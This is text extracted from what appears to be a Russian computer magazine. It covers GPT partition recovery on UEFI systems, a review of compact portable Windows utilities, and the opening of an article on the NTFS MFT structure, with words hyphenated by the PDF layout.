/sys/firmware/efi/efi‐
vars

Так  мож но  ли  что‐то  сде лать,  если  на  тво ем  устрой стве  работа ет  диск  уже
в новом фор мате, а с ним слу чилась беда? В теории какие‐то проб лемы мож‐ 
но  решить  с  помощью  UEFI  Shell.  Некото рые  ошиб ки  дис ков,  воз ника ющие
при  заг рузке,  UEFI  исправ ляет  самос тоятель но;  дру гие  же,  как,  нап ример,
во врез ке, тре буют «опе ратив ного вме шатель ства».

Про вер ка целос тнос ти таб лиц и исправ ление оши бок 
при загрузке
Стан дартом  нес прос та  пре дус мотре ны  две  таб лицы  GPT  —  пер вичная
и  запас ная.  Кро ме  того  что  про веря ется  сиг натура  GPT  и  то,  ука зыва ет  ли

  на  про веря емую  таб лицу,  све ряют ся  зна чения CRC32.  Если  при  заг‐ 
рузке кон троль ная сум ма одной из таб лиц GPT не сов пада ет с дей стви тель‐ 
ностью, то она вос ста нав лива ется из вто рой таб лицы. Если же слу чилось так,
что  не  сов пали  кон троль ные  сум мы  для  обе их  таб лиц,  то  устрой ство  опре‐ 
деля ется как не име ющее GPT‐раз метки. Тут могут при годить ся инс тру мен ты
поин терес нее.

MyLBA

Вос ста нов ление GPT-раз делов
Ес ли пос тра дало боль ше одной слу жеб ной таб лицы, пот ребу ются, оче вид но,
дру гие  решения,  чем  свер ка  кон троль ных  сумм.  Бла го  они  сущес тву ют  уже
не  толь ко  для  носите лей  с  раз меткой  MBR.  При  слу чай ном  (или  нет)  пов‐ 
режде нии GPT‐раз делов есть воз можность их вос ста новить.

В Linux, нес мотря на то, как сооб щес тво встре тило UEFI, появи лись прог‐ 
раммы для работы с GPT, в том чис ле спо соб ные вос ста нав ливать уда лен ные
фай лы и раз делы. Пер вая,  на  которую сто ит обра тить вни мание, —  .
Впро чем, у нее есть вер сии и под DOS, и под вин ду, и под «Мак». Она может
ока зать ся  полез ной  для  вос ста нов ления  не  толь ко  слу жеб ных  таб лиц,  но  и
уда лен ных  дан ных.  Ска жем,  у  нас  пов режде на  запас ная  таб лица  раз делов,
а пер вичная вооб ще куда‐то подева лась (ну вся кое ведь быва ет, там   с 
перепу тал в  ),  и  в ито ге в   отоб ража ется пос тра дав шее устрой ство,
но не раз делы на нем. Кому верить, как читать дан ные?

testdisk

if of
dd /dev/

Для вос ста нов ления раз делов в  testdisk необ ходимо выб рать  устрой ство
и  тип  раз делов.  Прог рамма  пыта ется  опре делить  его  самос тоятель но,  но  в
нашем слу чае, ког да не сов пада ют CRC обе их таб лиц, она счи тает, что это не
GPT;  впро чем,  пере убе дить  ее  нес ложно.  Далее  выпол няем  ана лиз  дис ка
в  поис ках  пот рачен ных  раз делов  и  записы ваем  информа цию  о  най ден ном
раз деле на диск. По ходу дела testdisk не ску пит ся на пояс нения, что поз воля‐ 
ет  в  прос тых  слу чаях  поль зовать ся  ути литой,  совер шенно  не  заг лядывая
в докумен тацию!

Об наружен ный testdisk’ом раз дел. Начина ется с бло ка 34, так как это
минимум, выделя емый под струк туры GPT

Вто рая  про га,  которая  в  нашем  слу чае  может  помочь,  называ ется  gdisk
по ана логии с fdisk, который не понима ет GPT. Для вос ста нов ления раз делов
она может исполь зовать ся в связ ке с parted: пер вая соз дает заново заголов‐ 
ки таб лицы GPT, а вто рая находит утра чен ные раз делы.

За бот ливый и информа тив ный gparted, при помощи которо го мы оста ‐
лись с пус той таб лицей раз делов

В  таком  слу чае  в  gdisk  (или  ана логич ной  ути лите)  мож но  соз дать  новые
заголов ки  GPT  вза мен  испорчен ных.  Фай лы  и  струк туры  фай ловых  сис тем,
к  счастью,  оста ются  при  таких  манипу ляци ях  на  мес те,  и  необ ходимо  лишь
вос ста новить  таб лицу  раз делов.  Для  это го  желатель но  пом нить  при мер ные
гра ницы  раз делов,  так  как  их  нуж но  сооб щить  прог рамме  parted  в  коман де

. Пос ле перезаг рузки про буем при мон тировать диск — и нам повез ло,
магия сра бота ла! Вот бы почаще так.
rescue

По иск и вос ста нов ление раз делов в parted

Мон тиру ем вос ста нов ленный раз дел пос ле перезаг рузки. Все на мес те!

Поль зовате ли вин ды  тоже не оста лись в сто роне от  тех нологи чес кого прог‐ 
ресса. Преж де все го, им на помощь может прий ти широко извес тная в узких
кру гах  ути лита  ,  пос ледние  вер сии  которой  даже  могут  пох вастать ся
пол ноцен ным гра фичес ким интерфей сом.

DMDE

Ути лита DMDE с гра фичес ким интерфей сом

Есть, к сло ву, пол ноцен ная вер сия этой прог раммы и для macOS. DMDE объ‐ 
еди няет в себе фун кции дис кового редак тора и менед жера раз делов. Ути лита
уме ет  реконс тру иро вать  струк туру  фай лов  и  папок  даже  в  слу чае  слож ных
пов режде ний,  но  самое  глав ное —  она  может  работать  с  раз делами  GUID
(GPT),  при чем  вари анты  вос ста нов ления  пред лага ются  в  авто мати чес ком
режиме.

Ес ли на машине под управле нием Windows с UEFI/GPT полетел заг рузчик,
вос ста новить его мож но стан дар тным инс тру мен тари ем опе раци онной сис‐ 
темы.  Дос таточ но  заг рузить  машину  с  дис три бутив ного  обра за  Windows,
открыть коман дную стро ку сочета нием кла виш Shift + F10, а затем с исполь‐ 
зовани ем нес коль ких команд соз дать заново утра чен ный раз дел EFI и помес‐ 
тить  туда  заг рузчик.  Под робные  инс трук ции  мож но   

.
отыс кать в  этих  ваших

интерне тах
Для счас тли вых вла дель цев ком пов про изводс тва Apple была раз работа на

спе циаль ная прог рамма Remo Recover, ска чать которую мож но 
.  Там  же  пред став лены  под робные  инс трук ции  по  ее  исполь‐ 

зованию, хотя они, в прин ципе, не осо бен но нуж ны: прог рамма (как и мно гие
дру гие при ложе ния под Mac) обла дает прос тым и инту итив но понят ным гра‐ 
фичес ким интерфей сом.

с сай та раз‐ 
работ чика

Ути лита Remo Recover для macOS

ПОДВЕДЕМ ИТОГИ
Ос новное  наз начение  UEFI,  как  и  БИОСа,  зак люча ется  в  заг рузке  ОС,
но  архи тек тура  UEFI  вклю чает  в  себя  нам ного  боль ше  модулей,  чем  необ‐ 
ходимо  для  это го.  А  чем  сис тема  слож нее,  тем  ее  лег че  поломать,  что
доказы вают  най ден ные  в  раз ных  реали заци ях  ошиб ки  и  уяз вимос ти.
И казалось бы, если раз ницы нет, зачем пла тить боль ше?..

Од нако  почему‐то  в  AMI,  Insyde,  Phoenix  пишут  имен но  UEFI  BIOS,
а  исполь зуют  этот  стан дарт  такие  про изво дите ли,  как  Apple,  Dell,  HP,  IBM,
Lenovo;  при чем  в  Apple  он  в  ходу  еще  . Microsoft  тоже  под клю‐ 
чилась  к  это му  про екту  и  внес ла  свой  небезыз вес тный  вклад  в  виде Secure
Boot. В Linux сквозь боль и ненависть мед ленно, но вер но раз рабаты вались
прог раммы для под дер жки UEFI, в час тнос ти Secure Boot и GPT, поз воля ющие
в нас тоящее вре мя на доволь но низ ком уров не со всем этим работать и даже
решать некото рые проб лемы. Так что, по край ней мере, жить мож но.

c  2006  года

WWW

, руково дите ля рабочей
груп пы PI

•Блог Вин сента Цим мера

,  раз работ чика  ядра  Lin‐
ux,  получив шего  пре мию  FSF  за  дос тижения
в  области  обес печения  заг рузки  Linux  на  сис‐ 
темах с UEFI Secure Boot

•Блог Мэттью  Гар ретта

, авто ра пакета GPT  fdisk
(содер жит  gdisk,  sgdisk  и  cgdisk)  и  заг рузчи ка
rEFInd,  где  мож но  най ти  мно го  инфы,  свя зан‐ 
ной с UEFI

•Сайт Родери ка Сми та

Собс твен но • спе цифи кации  UEFI,  сопутс тву‐ 
ющие докумен ты и инс тру мен ты
Так же можешь поис кать кни гу Beyond BIOS. De‐
veloping with  the Unified Extensible  Firmware  In‐
terface  авто ров  V.  Zimmer,  M.  Rothman  и  S.
Marisetty,  при нимав ших  учас тие  в  раз работ ке
UEFI

•
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ТРЮКИ

Каж дого,  кто  име ет  хоть  какое‐то  отно‐ 
шение  к  IT,  вре мя  от  вре мени  посеща ет
мысль  сде лать  под борку  из  кро шеч ного
и полез ного  соф та. Во‐пер вых,  это  прос то
при коль но.  Во‐вто рых,  такие  прог раммы
мож но  вод рузить  на  план шет  с  Windows,
где  сво бод ное  прос транс тво  всег да
в дефици те.

Кро ме того, мож но помес тить соз данную тобой под борку на какой‐то ком пак‐ 
тный  носитель,  нап ример  кар ту  miniSD,  —  вдруг  при годит ся?  Как  пра вило,
неболь шие  прог раммы  пот ребля ют  мало  ресур сов  и  отлично  работа ют
на  древ них  или  сла бых  ком пах.  Ты  дума ешь,  что  юзе ры  во  всем  мире  идут
в ногу со вре менем и ста рые ком пы уже дав но дожива ют свой век на помой‐ 
ке? Могу тебя огор чить: есть мно го орга низа ций, где до сих пор исполь зуют‐ 
ся  «динозав ры»  с Windows  XP,  есть  те  же  план шеты  с  вин дой,  где  боль шую
часть встро енной памяти занима ет сама вин да, а прак тичес ки весь софт при‐ 
ходит ся  дер жать  на  SD‐кар точке,  из‐за  чего  силь но  стра дает  быс тро дей‐ 
ствие.

Се год ня  мы  попыта емся  соз дать  такую  под борку,  вклю чающую  бра узер,
мес сен джер, тек сто вый редак тор и пару‐трой ку ути лит вро де смот релки кар‐ 
тинок или качал ки фай лов. Нас инте ресу ют толь ко самые малень кие ути литы,
до  10  Мбайт, —  чем  мень ше,  тем  луч ше  (но  для  некото рых  будет  сде лано
исклю чение).  Конеч но,  сущес тву ют  и  portable‐вер сии  всем  извес тных  при‐ 
ложе ний, занима ющие по нес коль ко сотен мегабай тов. Такие «пор татив ные»
вер сии на ста рых ком пах могут и вов се не запус тить ся, при чем сра зу по нес‐ 
коль ким при чинам — нет  необ ходимых биб лиотек  (вро де пос ледних  вер сий
.Net)  или  баналь но  не  хва тает  ресур сов.  Так  что  их  мы  рас смат ривать
не будем.

Весь  опи сан ный  софт  мы  про верим  на  работос пособ ность  на  ком пе
с Windows XP, а так же попыта емся запус тить его на десят ке.

БРАУЗЕР
Нач нем  с  бра узе ра  —  самого  важ ного  ком понен та  нашей  под борки.  Ведь
с  его  помощью  мож но  най ти  в  Сети  дру гие  прог раммы,  про читать  поч ту
или  жур нал  «Хакер».  Ког да  дума ешь  о  portable‐бра узе ре,  то  пер вым  делом
при ходит на ум Tor Browser, работа ющий без уста нов ки и к тому же поз воля‐ 
ющий  защитить ся  от  любопыт ных  глаз.  Но  пос ледняя  его  вер сия  занима ет
в рас пакован ном виде аж 194 Мбайт! Это очень мно го для нашей под борки,
и мы исклю чаем его из спис ка кан дидатов на попада ние в спи сок ком пак тно‐ 
го соф та.

INFO

Ком пак тных  бра узе ров  на  нашей  пла нете  не  так
уж и мно го. Боль шинс тво из них осно вано или на
Mozilla,  или  на  Chromium,  что  под разуме вает
доволь но  вну шитель ный  раз мер.  Tor  Browser
(работа ет  на  базе  Firefox),  пов торим ся,  пос ле
рас паков ки занял 194 Мбайт, SlimBrowser  (осно‐ 
ван на Chromium) — 176 Мбайт.

Один  из  самых  ком пак тных  бра узе ров  называ ется  .  Его  инстал лятор
весит все го 6 Мбайт, а пос ле уста нов ки бра узер занима ет 15,3 Мбайт на дис‐ 
ке. Офи циаль ной portable‐вер сии нет, но ты можешь уста новить его на любой
комп, а потом прос то ско пиро вать пап ку с прог раммой на флеш ку, и он будет
работать (про верил, пока писал статью).

NetSurf

Пре иму щес тва NetSurf — мало весит и быс тро работа ет. Недос татки:
Ки рил лица  в  заголов ке  бра узе ра  и  в  адресной  стро ке  отоб ража ется
некор рек тно, но проб лем с рус ски ми бук вами на самих стра ницах нет, все
выг лядит читабель но.

•

В Windows 10 бра узер нес коль ко раз падал во вре мя сер финга, в Windows
XP на тех же стра ницах работа ет ста биль но.

•

Не все стра ницы отоб ража ются пра виль но.•

Так NetSurf выг лядит в Windows XP

А вот так тот же бра узер смот рится в Windows 10

Ду маешь, 15 Мбайт — это пре дел? Нет,  это пол ный бес пре дел! Потому что
бра узер    занима ет все го 1,27 Мбайт. Для прос мотра нес ложных стра ниц
его воз можнос тей будет впол не дос таточ но. Вот  толь ко в XP он испы тыва ет
труд ности с  кодиров кой UTF‐8:  почему‐то отоб ража ет не все сим волы,  хотя
в  семер ке  и  десят ке  с  этим  проб лем  нет.  Пусть  бра узер  и  не  иде аль ный,
но 1,27 Мбайт в 2020 году — впе чат ляет.

D+

Чу до‐бра узер D+ объ емом 1,27 Мбайт

ПОЧТОВЫЙ КЛИЕНТ
Без  поч ты,  как  говорил  небезыз вес тный  товарищ  Печ кин,  в  наше  вре мя
никуда. Самым «тяжелым» в нашей под борке будет всем извес тный поч товый
кли ент  .  Для  него  есть  пор татив ная  вер сия,  он  бес плат ный,  но,
к сожале нию, не под держи вает Windows XP. Нуж на как минимум семер ка.

Sylpheed

Поч товый кли ент Sylpheed

Ар хив по раз меру впи сыва ется в наше огра ниче ние — 10 Мбайт, а вот рас‐ 
пакован ная вер сия занима ет 28 Мбайт. Но зато рас простра няет ся эта прог‐ 
рамма бес плат но.

Поч товый  кли ент    обла дает  при выч ным  интерфей сом,  похожим
на бес тсел лер сво его вре мени The Bat! Работа ет без  уста нов ки и занима ет
все го  10  Мбайт  пос ле  рас паков ки  архи ва  (сам  архив  име ет  объ ем  чуть
менее 5 Мбайт). При ложе ние нор маль но работа ет  как в Windows XP,  так и в
Windows  10.  Более  того,  в  пос ледней  оно  даже  пред ложило  на  выбор  два
интерфей са — клас сичес кий и с под дер жкой тачс кри на.

Becky

Ком пак тный поч товый кли ент Becky

Becky — отличный поч товый кли ент. При работе с ним не было никаких багов
или  сбо ев.  Он  без  проб лем  под клю чил ся  к  Google‐акка унту  (нуж но  толь ко
раз решить  исполь зование  небезо пас ных  при ложе ний),  отоб разил  все  соз‐ 
данные пап ки,  спра вил ся  с отправ кой писем. Пол ноцен ный  кли ент,  занима‐ 
ющий все го 10 Мбайт. Заман чиво. Есть толь ко одна лож ка дег тя — он share‐
ware. Здесь при дет ся или пла тить, или искать дру гой вари ант.

Так Becky работа ет в Windows 10

Поч товый  кли ент    занима ет  все го  6,5 Мбайт  на  дис ке  пос ле  рас‐ 
паков ки,  но  к  Google‐акка унту  он  под клю чить ся  так  и  не  смог.  Одна ко  он
навер няка сго дит ся для дру гих поч товых служб: в моем слу чае он нор маль но
работал  с  нес коль кими  поч товыми  сер верами.  Нуж но  экспе римен тировать:
если  поч товик  объ явил  забас товку,  мож но  поп робовать  дру гую  прог рамму.
Но о таком ком пак тном кли енте нель зя было не рас ска зать.

Koma‐Mail

Koma‐Mail — ком пак тный поч товый кли ент, который не любит Google

Ко неч но, это далеко не все сущес тву ющие в при роде пор татив ные поч товые
кли енты. Нап ример, есть еще   — поч товик, который уме ет толь ко отправ‐ 
лять  сооб щения.  На  прак тике  он  может  понадо бить ся,  если  нуж но  быс тро
выс лать  файл  или  тек сто вое  сооб щение,  не  запус кая  поч товую  прог рамму.
Пусть широки ми воз можнос тями он не бле щет, зато занима ет все го 20 Кбайт
(в архи ве, 44 Кбайт пос ле рас паков ки).

Qm

Прог рамма Qm, которая уме ет толь ко отправ лять сооб щения

Впро чем,  на  прос торах  Сети  мож но  най ти  кон соль ный    —  прог рамму
для отправ ки сооб щений вов се без гра фичес кого интерфей са, которая весит
еще мень ше — все го 17 Кбайт в архи ве и 40 Кбайт пос ле рас паков ки. Нас‐ 
тоящая наход ка для любите лей сце нари ев коман дной обо лоч ки.

Bmail

КАЧАЛКА
Ка чал ка —  это  не  толь ко  душ ная  ком ната  с  тре наже рами,  где  мус кулис тые
юно ши  и  упру гие  девуш ки  упор но  работа ют  над  сво ей  фигурой.  Это  еще
и  нес коль ко  мегабай тов  полез ного  соф та,  поз воля юще го  заг рузить
какой‐нибудь тор рент.

В качес тве таково го мож но исполь зовать  . Для XP и 32‐бит ной
вер сии семер ки не забудь выб рать соот ветс тву ющую вер сию  (x86). Инстал‐ 
лятор занима ет 11 Мбайт, пос ле уста нов ки прог рамма весит 27 Мбайт. В XP
уста новить прог рамму у меня не получи лось, а вот в семер ке и десят ке она
работа ет нор маль но.

PicoTorrent

Ком пак тная качал ка тор рентов PicoTorrent

Нуж но заметить, что «стан дар тный» кли ент uTorrent занима ет пос ле уста нов ки
все го  16  Мбайт.  Зато  PicoTorrent  не  отоб ража ет  рек ламу,  впро чем,  если
без рек ламы тебе скуч но и оди ноко, мож но ска чать пор татив ную вер сию 

.  А  занима ет  такая  вер сия  пос ле  рас паков ки  все го  5  Мбайт.  При  этом
прог рамма нор маль но работа ет как в XP, так и в Windows 10.

uTor‐
rent

В Linux есть очень полез ная ути лита wget. В Windows в качес тве подоб ного
инс тру мен та мож но исполь зовать  . Инстал лятор прог раммы занима‐ 
ет мень ше мегабай та. А пос ле уста нов ки объ ем ути литы сос тавит чуть более
двух. Все бы хорошо, но прог рамма не заг ружа ет фай лы по про токо лу HTTPS,
а  бла года ря  ста рани ям  Google  сей час  прак тичес ки  все  сай ты  переш ли
на этот про токол. Не знаю, нас коль ко умес тным будет исполь зование такого
инс тру мен та в 2020 году, но, может, кому‐то при годит ся.

WackGet

WackGet хорош всем, жаль, не уме ет в HTTPS

А  вот  пор татив ная  вер сия    отлично  спра вилась  с  заг рузкой  фай ла
через  HTTPS,  поэто му  име ет  пра во  на  жизнь.  Раз мер  portable‐вер сии  —
2,2 Мбайт.

FlashGet

Но   FlashGet — луч ше!оле ни

МУЛЬТИМЕДИАПРОГРАММЫ
Луч шим  вари антом  виде опле ера  я  бы  наз вал MPC‐HC. Прав да,  по  раз меру
он  нес коль ко  выбива ется  за  уста нов ленные  нами  рам ки,  но  нам  нуж но
не  толь ко  запус кать  пле ер,  а  еще  и  смот реть  на  нем  филь мы,  не  так  ли?
Кодеки,  к  сожале нию,  вно сят  свою  леп ту  в  объ ем  про игры вате ля.  На  офи‐ 
циаль ной  стра нице    мож но  ска чать  как  инстал лятор,  так  и  архив
с прог раммой. Дос тупны вер сии для 32‐ и 64‐раз рядных сис тем. При ложе ние
под держи вает как XP, так и самую новую вер сию Windows.

заг рузок

MPC‐HC: смот рим фильм в Windows XP

  —  бес плат ный  и  очень  ком пак тный    про игры‐ 
ватель,  чем‐то  напоми нающий Winamp. Архив  с  про игры вате лем  весит  все‐ 
го 277 Кбайт, а пос ле рас паков ки при ложе ние зай мет 615 Кбайт. Вот это дей‐ 
стви тель но ком пак тное при ложе ние. Таких показа телей уда лось дос тичь бла‐ 
года ря  тому,  что  пле ер  написан  на  ассем бле ре. Под держи вают ся  опе раци‐ 
онные сис темы от XP до 10, но толь ко 64‐раз рядные.

Small  Player му зыкаль ный

Small Player дей стви тель но Small

ГРАФИЧЕСКИЕ РЕДАКТОРЫ И СМОТРЕЛКИ КАРТИНОК
PhotoFiltre  —  прос той,  бес плат ный  и  неболь шой  гра фичес кий  редак тор.
На    дос тупна  portable‐вер сия,  которая  занима‐ 
ет 8 Мбайт пос ле рас паков ки. Доволь но удоб ный редак тор и тре бует гораз до
мень ше мес та, чем тот же GIMP. При ложе ние нор маль но работа ет в Windows
XP, 7 и 10.

офи циаль ной  стра нице

Так выг лядит гра фичес кий редак тор PhotoFiltre

 — ком пак тная смот релка с базовы ми воз можнос тями редак тирова‐ 
ния:  тут  есть  кроп,  поворот  кар тинки и мно гое дру гое,  что  уме ют  его более
«тяжелые» соб ратья. Инстал лятор занима ет все го 2,5 Мбайт, а вот пос ле рас‐ 
паков ки  прог рамма  весит  уже  4,5  Мбайт.  Отличный  показа тель  для  смот‐ 
релки.  Фун кци ональ ность  лег ко  рас ширить  с  помощью  пла гинов.  Пол ное
соб рание  пла гинов  занима ет  17  Мбайт  в  архи ве,  что,  в  общем‐то,  тоже
не мно го.

IrfanView

При ложе ние IrfanView

INFO

Есть  еще  одна  неп лохая  смот релка,  так же  обла‐ 
дающая  задат ками  гра фичес кого  редак тора:  Xn‐
View  MP.  Но  она  зна читель но  боль ше  —  толь ко
архив прог раммы занима ет 56 Мбайт. Для нашей
сбор ки это мно го.

 — уль тра ком пак тная смот релка кар тинок. Архив вмес те с исходны ми
кодами  может  пох вастать ся  весом  все го  в  127  Кбайт,  а  пос ле  рас паков ки
прог рамма  зай мет  156  Кбайт  (если  уда лить  исходни ки).  Для  работы  прог‐ 
раммы нужен VC 2017 MFC DLL.

EZView

Прог рамма EZView

Не  забыва ем и о  век торной  гра фике.    (не  путать  с  EVE Online) — очень
ком пак тный (180 Кбайт) век торный редак тор. Да, это не Corel, но и занима ет
он  на  дис ке  сов сем  нем ного.  Под держи вает  толь ко  собс твен ный  фор мат
фай ла. Работа ет как в XP, так и в Win10.

EVE

Век торный редак тор EVE

Продолжение статьи →
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ТРЮКИ  НАЧАЛО СТАТЬИ←

ТЕКСТОВЫЕ РЕДАКТОРЫ
Про  ,  навер ное,  слы шал  каж дый.  Это  тек сто вый  редак тор  с  улуч‐ 
шенным  фор матиро вани ем  и  под дер жкой  фор мата  DOCX,  чем‐то  напоми‐ 
нающий  Microsoft  Word  двад цатилет ней  дав ности.  Раз мер  инстал лятора  —
11  Мбайт,  пос ле  уста нов ки  занима ет  28  Мбайт,  работа ет  в  Windows  XP,
в более поз дних вер сиях ОС запус кает ся, но гаран тировать ста биль ность его
работы, увы, нель зя. К пре иму щес твам AbiWord мож но отнести авто мати чес‐ 
кую  про вер ку  пра вопи сания,  авто мати чес кое  сох ранение,  под дер жку  мно‐ 
жес тва  самых  раз ных  тек сто вых  фор матов,  при выч ный  интерфейс,  а  так же
наличие  пла гинов,  поз воля ющих  рас ширить  воз можнос ти.  Недос татки  —
доволь но  боль шой  раз мер,  и,  как‐никак,  про ект  уже  зак рыт,  поэто му
обновле ний редак тора не будет.

AbiWord

По пуляр ный тек сто вый редак тор AbiWord с хорошо зна комым каж дому
интерфей сом

 — дру гой ком пак тный тек сто вый про цес сор с необыч ным интерфей сом.
Раз мер архи ва (да, есть portable‐вер сия) — 4,5 Мбайт, а пос ле рас паков ки он
занима ет 10 Мбайт, что впи сыва ется в огра ниче ния, уста нов ленные нами.

Jarte

Ин терес ный тек сто вый редак тор Jarte

При ложе ние  под держи вает  мно жес тво  раз ных фор матов  (в  том  чис ле фор‐ 
маты MS Word), оно доволь но ком пак тное, име ет авто сох ранение. Но вот UI
на любите ля, исполь зовать его, осо бен но понача лу, будет очень неп ривыч но.
В  редак торе  име ется  под свет ка  син такси са,  нумера ция  строк,  переко диро‐ 
вание  раз личных  кодиро вок  и  мно гое  дру гое,  так  что  в  Jarte  при  желании
мож но писать код.

Все это есть в прос тей шем редак торе  , который пос ле рас паков‐ 
ки занима ет все го мегабайт. Я сам час то исполь зую это при ложе ние,  ког да
нуж но быс тро под пра вить какой‐то файл с PHP‐кодом. Notepad2 уста нов лен
у меня как редак тор по умол чанию в Windows, а так же вызыва ется по F4 в Total
Commander.

Notepad2

Тек сто вый редак тор Notepad2

Еще  один    —  HxD.  Это  Hex‐редак тор.  Раз мер  архи ва
с инстал лятором сос тавля ет 856 Кбайт, а пос ле уста нов ки при ложе ние зай‐ 
мет все го 2,3 Мбайт. Прог рамма нор маль но работа ет в XP.

ре дак тор  для  кодера

Hex‐редак тор HxD

  —  ком пак тный  тек сто вый  редак тор,  поз воля ющий  работать  с  фор‐ 
матами DOC и RTF. С новым DOCX он не спра вит ся, но и име ющих ся фун кций
дос таточ но для прог раммы, которая весит все го 612 Кбайт.

QJot

Свер хком пак тный тек сто вый редак тор QJot

  —  доволь но  инте рес ный  и  лег кий  редак тор  (141  Кбайт  архив
и 250 Кбайт пос ле рас паков ки). Чем он инте ресен? Мно гим: это и под дер жка
скрип тового движ ка, поз воля юще го писать и запус кать сце нарии в пол ностью
нас тра иваемых менюш ках, и рас ширя емая (пос редс твом DLL) фун кци ональ‐ 
ность, и дру гие воз можнос ти, которы ми обла дает эта прос тень кая на пер вый
взгляд соф тина.

Qedit

Очень прос той, но при этом мощ ный редак тор Qedit

Один  из  самых  ком пак тных  тек сто вых  редак торов  —  :  пос ле  рас‐ 
паков ки он занима ет все го 69 Кбайт (если уда лить иду щие в «ком плек те» тек‐ 
сто вые фай лы). Неп лохая замена стан дар тно му блок ноту, хотя воз можнос тей,
если  срав нивать  с  Notepad2,  в  нем  малова то.  На  иллюс тра ции  интерфейс
прог раммы  англий ский,  но  на  офи циаль ном  сай те  мож но  ска чать  русифи‐ 
катор.

Win32Pad

Ре дак тор Win32Pad

МЕССЕНДЖЕРЫ
Что бы  не  было  скуч но,  для  обще ния  с  друзь ями  нужен  мес сен джер.  На  эту
роль  подой дет  Miranda.  Пусть  эта  прог рамма  и  не  самая  ком пак тная
(архив 3,5 Мбайт, пос ле рас паков ки — 11 Мбайт), но зато она под держи вает
про токо лы Facebook, GG, ICQ, IRC, Jabber, MSN. Да, все эти про токо лы сей‐ 
час не очень популяр ны (из вос тре бован ных остался толь ко Facebook), но при
желании  ты  всег да  смо жешь  ска чать  .  Одна ко  она
«выбива ется из бюд жета», пос коль ку весит 72,3 Мбайт.

portable‐вер сию  Viber

Miranda

При  желании  в  интерне те  мож но  най ти  ста рые  вер сии  Miranda,  которые
занима ют еще мень ше мес та.

WWW

Об ширная  кол лекция ста рых вер сий при ложе ний
хра нит ся на сай те  .oldversion.com

ПОЛЕЗНЫЕ СИСТЕМНЫЕ УТИЛИТЫ
 —  прог рамма,  поз воля ющая  прос матри вать  TCP/UDP‐соеди нения,

что бы понять, что дела ется в тво ей сис теме. Она отоб ража ет наз вание про‐ 
цес са, работа юще го с сетью, его PID, наз вание про токо ла, локаль ный адрес,
порт,  уда лен ный  адрес  и  порт,  сос тояние  соеди нения,  счет чик  пакетов,
количес тво отправ ленных бай тов и дру гую полез ную информа цию. Must have
для сис темно го адми нис тра тора.

TCPView

Очень полез ная ути лита TCPView

Еще одна must have ути лита для сисад мина или любого прод винуто го поль‐ 
зовате ля —  .  Да,  это  тебе  не  дис петчер  задач.  Тут  все  наг‐ 
лядно  и  понят но.  При ложе ние  поз воля ет  не  толь ко  прос матри вать  спи сок
про цес сов,  но  и  завер шать  ненуж ные,  а  так же  «спи ливать»  целые  деревья
про цес сов — щел кни пра вой кноп кой мыши на про цес се и выбери коман ду
Kill Process или Kill Process Tree.

Process Explorer

Ар хив  занима ет  2  Мбайт,  а  в  рас пакован ном  виде  —  4  Мбайт  (при чем
в ком плек те две вер сии: для 32‐ и 64‐бит ных сис тем).

Аль тер натива дис петче ру задач — Process Explorer

Ути лита    приш ла  на  сме ну  FileMon.  Прог рамма  поз воля ет
узнать,  какой  про цесс  был  открыт  тем  или  иным  фай лом.  Для  работы  при‐ 
ложе ния  нуж на ОС не  ниже Vista,  для  XP  при дет ся  поис кать  ста рый  доб рый
FileMon.  Так же  при ложе ние  дает  воз можность  прос мотреть  исполь зуемые
при ложе нием ресур сы — как объ екты фай ловой сис темы, так и клю чи реес‐ 
тра.

Process  Monitor

Вот так лег ко вычис лить PID про цес са, открыв шего опре делен ный файл

Ин форма ция о про цес се

Это  при ложе ние  толь ко  пре дос тавля ет  информа цию  о  про цес се,  а  что бы
убить его, нуж но исполь зовать тот же Process Explorer.

 — еще одна  полез ная  ути лита,  демонс три рующая  на  экра не  сис‐ 
темную  информа цию.  С  ее  помощью  мож но  получить  све дения  о  про цес‐ 
соре,  гра фичес кой  под систе ме,  быс тро дей ствии  машины,  а  так же  мно гие
дру гие цен ные дан ные об аппа рат ной кон фигура ции ПК.

CPU‐Z

Ути лита CPU‐Z

ВМЕСТО ЗАКЛЮЧЕНИЯ
Итак, у нас получи лась неп лохая под борка. Оста ется толь ко ска чать рас смот‐ 
ренные при ложе ния, что бы помес тить их на флеш ку, — рано или поз дно они
при годят ся каж дому. Ну а напос ледок я све ду все опи сан ные в статье прог‐ 
раммы в общую таб личку — для удобс тва.



ИЗНУТРИ
NTFS

КАК УСТРОЕНА

В WINDOWS
ФАЙЛОВАЯ ТАБЛИЦА MFT

Крис Касперски
Известный российский
хакер. Легенда ][, ex‐

редактор ВЗЛОМа. Также
известен под псевдонимами
мыщъх, nezumi (яп. 鼠,

мышь), n2k, elraton, souriz,
tikus, muss, farah, jardon,

KPNC.

ТРЮКИ

Ус трой ство фай ловой  сис темы NTFS  поража ет  сво ей  гран‐ 
диоз ностью  и  напоми нает  огромный,  оку тан ный  мра ком
лабиринт.  Но  какого  любите ля  прик лючений  оста новит
паути на,  ске леты  и  пара  ловушек  с  ядо виты ми  стре лами?
Хва тай факел, и отпра вим ся в путь. Нашим пер вым квес том
будет  изу чение  глав ной  фай ловой  таб лицы  —  MFT  и  нес‐ 
коль ких дочер них струк тур.

INFO

Стан дарт  фай ловой  сис темы  NTFS  вер‐ 
сии 3.1 появил ся в 2001 году с выходом на рынок
Windows XP и с тех пор не пре тер пел фун дамен‐ 
таль ных изме нений. В Windows 10 так же исполь‐ 
зует ся  NTFS  v3.1.  Архи тек туру  и  осо бен ности
внут ренне го  устрой ства  этой  фай ловой  сис темы
Крис  Кас пер ски  под робно  опи сал  в  сво ей  кни ге
«Вос ста нов ление  дан ных»,  которая  сей час
готовит ся к пере изда нию. Мы пуб лику ем отры вок
из этой кни ги,  где Крис рас ска зыва ет о  том, что
пред став ляет собой NTFS изнутри.

NTFS С ВЫСОТЫ ПТИЧЬЕГО ПОЛЕТА
Ос новным струк турным эле мен том вся кой фай ловой сис темы явля ется 
(volume),  в  слу чае  с  FAT  сов пада ющий  с    (partition).  NTFS  под‐ 
держи вает  тома,  сос тоящие  из  нес коль ких  раз делов  (см.  рис.).  Будем
для прос тоты счи тать, что том пред став ляет собой отформа тиро ван ный раз‐ 
дел (то есть раз дел, содер жащий слу жеб ные струк туры фай ловой сис темы).

том

раз делом

Обыч ный и рас пре делен ный тома

Боль шинс тво фай ловых сис тем трак туют   как совокуп ность фай лов, сво‐ 
бод ного  дис кового  прос транс тва  и  слу жеб ных  струк тур  фай ловой  сис темы,
но  в  NTFS    слу жеб ные  струк туры  пред став лены  фай лами,  которые  (как
